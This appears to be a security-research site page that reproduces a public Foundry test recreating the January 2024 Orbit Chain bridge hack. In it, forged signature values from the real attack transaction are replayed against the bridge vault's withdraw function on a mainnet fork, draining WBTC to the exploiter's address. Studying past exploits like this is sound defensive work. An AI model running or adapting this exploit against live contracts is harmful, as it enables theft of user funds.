Skip to content
THREATWIRE

Public reproduction file

src/test/2024-01/OrbitChain_exp.sol

Public reproduction file for dataset entry OrbitChain.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/OrbitChain_exp.sol113 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~81M
8// Attacker : https://etherscan.io/address/0x9263e7873613ddc598a701709875634819176aff
9// Vulnerable Contract : https://etherscan.io/address/0x1bf68a9d1eaee7826b3593c20a0ca93293cb489a
10// Attack Tx (WBTC) : https://explorer.phalcon.xyz/tx/eth/0xe0bada18fdc56dec125c31b1636490f85ba66016318060a066ed7050ff7271f9
12// @Analysis
13// https://blog.solidityscan.com/orbit-chain-hack-analysis-b71c36a54a69
15interface IOrbitBridge {
16 function withdraw(
17 address hubContract,
18 string memory fromChain,
19 bytes memory fromAddr,
20 address toAddr,
21 address token,
22 bytes32[] memory bytes32s,
23 uint256[] memory uints,
24 bytes memory data,
25 uint8[] memory v,
26 bytes32[] memory r,
27 bytes32[] memory s
28 ) external;
30 function chain() external view returns (string memory);
33contract ContractTest is Test {
34 IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
35 IOrbitBridge private constant OrbitEthVault = IOrbitBridge(0x1Bf68A9d1EaEe7826b3593C20a0ca93293cb489a);
36 address private constant orbitHubContractAddress = 0xB5680a55d627c52DE992e3EA52a86f19DA475399;
37 address private constant orbitExploiterFromAddr = 0x9263e7873613DDc598a701709875634819176AfF;
38 address private constant orbitExploiterToAddr = 0x9ca536d01B9E78dD30de9d7457867F8898634049;
40 function setUp() public {
41 vm.createSelectFork("mainnet", 18_908_049);
42 vm.label(address(WBTC), "WBTC");
43 vm.label(address(OrbitEthVault), "OrbitEthVault");
44 vm.label(orbitHubContractAddress, "orbitHubContractAddress");
45 }
47 function testExploit() public {
48 deal(address(WBTC), orbitExploiterToAddr, 0);
49 emit log_named_decimal_uint(
50 "Exploiter WBTC balance before attack", WBTC.balanceOf(orbitExploiterToAddr), WBTC.decimals()
51 );
52 // At first exploiter has deposited some WBTC tokens (acquired from Uniswap) to Orbit in tx:
53 // https://explorer.phalcon.xyz/tx/eth/0x9d1351ca4ede8b36ca9cd9f9c46e3b08890d13d94dfd3074d9bb66bbcc2629b1
55 // Hash of the tx from Orbit chain. Details can be found at https://bridge.orbitchain.io/ explorer
56 bytes32 orbitTxHash = 0xf7f60c98b04d45c371bcccf6aa12ebcd844fca6b17e7cd77503d6159d60a1aaa;
57 bytes32[] memory bytes32s = new bytes32[](2);
58 bytes32s[0] = sha256(abi.encodePacked(orbitHubContractAddress, OrbitEthVault.chain(), address(OrbitEthVault)));
59 bytes32s[1] = orbitTxHash;
61 // Values specific to fake signatures from attack tx
62 uint256[] memory uints = new uint256[](3);
63 uints[0] = 23_087_900_000; // token withdraw amount
64 uints[1] = WBTC.decimals();
65 uints[2] = 8735; // unique identifier for requesting bridging ex, depositId
67 // v, r, s signature values from attack tx
68 uint8[] memory v = new uint8[](7);
69 v[0] = 27;
70 v[1] = 28;
71 v[2] = 28;
72 v[3] = 27;
73 v[4] = 28;
74 v[5] = 28;
75 v[6] = 27;
77 bytes32[] memory r = new bytes32[](7);
78 r[0] = 0x3ef06a27b3565a82b6d72af184ca3d787e3dd8fc0bd56bb0e7dce2faf920257d;
79 r[1] = 0xf1d81597f32c9376e90d22b9a1f121f1a99a1c191f8e930ed0de6df7b759a154;
80 r[2] = 0x3b7169e2ee2b73dcfbabae1400b811b95616cb5dc547b8b7b7c6aeb37b5b906b;
81 r[3] = 0xd4b7fd0617b28e1eeb018e1dbf924e662d1a0520cad96af2fcf496e16f4c58c6;
82 r[4] = 0xe06c17f1a6630bfa47f0fe0cfba02f40f0901e2412713e4c7f46ae17a25dc92c;
83 r[5] = 0xdecb2622da70fee1c343b93dc946eb855fd32c59b293c0765cb94a71e62aeff3;
84 r[6] = 0xff7c705149017ce467d05717eadb0a2718aedc7a1799ad153d05e8fc48be853e;
86 bytes32[] memory s = new bytes32[](7);
87 s[0] = 0x0cc266abfa2ba924ffa7dab0cd8f7bb1a14891ec74dea53927c09296d1c6ac7c;
88 s[1] = 0x739fe72bab59a2eead1e36fdf71441e0407332c508165e460a2cde5418858e1b;
89 s[2] = 0x18303ee09818b0575ea4a5c2ed25b1e78523aa2b387a9c7c9c23b0d906ff9e07;
90 s[3] = 0x37da521031f0a65dd8466d4def41c44a69796f696965c42f9705447286c0ac9a;
91 s[4] = 0x5443cf63033ab211f205076622b2426b994ce3706c1ee2464a68ef168c7639bb;
92 s[5] = 0x725fa18d06acb4f6f8a5b143bca088d76f77d9531765dea6799b484373d0641b;
93 s[6] = 0x6b6ddbaaafc5f0580b670ad9d0913ca4c60df2753151a499117086aa725cf2c7;
95 OrbitEthVault.withdraw(
96 orbitHubContractAddress,
97 "ORBIT",
98 abi.encodePacked(orbitExploiterFromAddr),
99 orbitExploiterToAddr,
100 address(WBTC),
101 bytes32s,
102 uints,
103 "",
104 v,
105 r,
106 s
107 );
109 emit log_named_decimal_uint(
110 "Exploiter WBTC balance after attack", WBTC.balanceOf(orbitExploiterToAddr), WBTC.decimals()
111 );
112 }

Analysis

Dataset entry

Public Foundry test for “OrbitChain” (2024-01-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x9263e7873613ddc598a701709875634819176aff

  • Vulnerable Contract

    0x1bf68a9d1eaee7826b3593c20a0ca93293cb489a

  • Attack Tx

    0xe0bada18fdc56dec125c31b1636490f85ba66016318060a066ed7050ff7271f9

File record

Name
OrbitChain
Path
src/test/2024-01/OrbitChain_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5b498a75e7634a4ee0204e0fcc8163330b9ed2ff
Language
Solidity
Size
114 lines
Date
2024-01-01
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-01/OrbitChain_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5b498a75e7634a4ee0204e0fcc8163330b9ed2ff, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.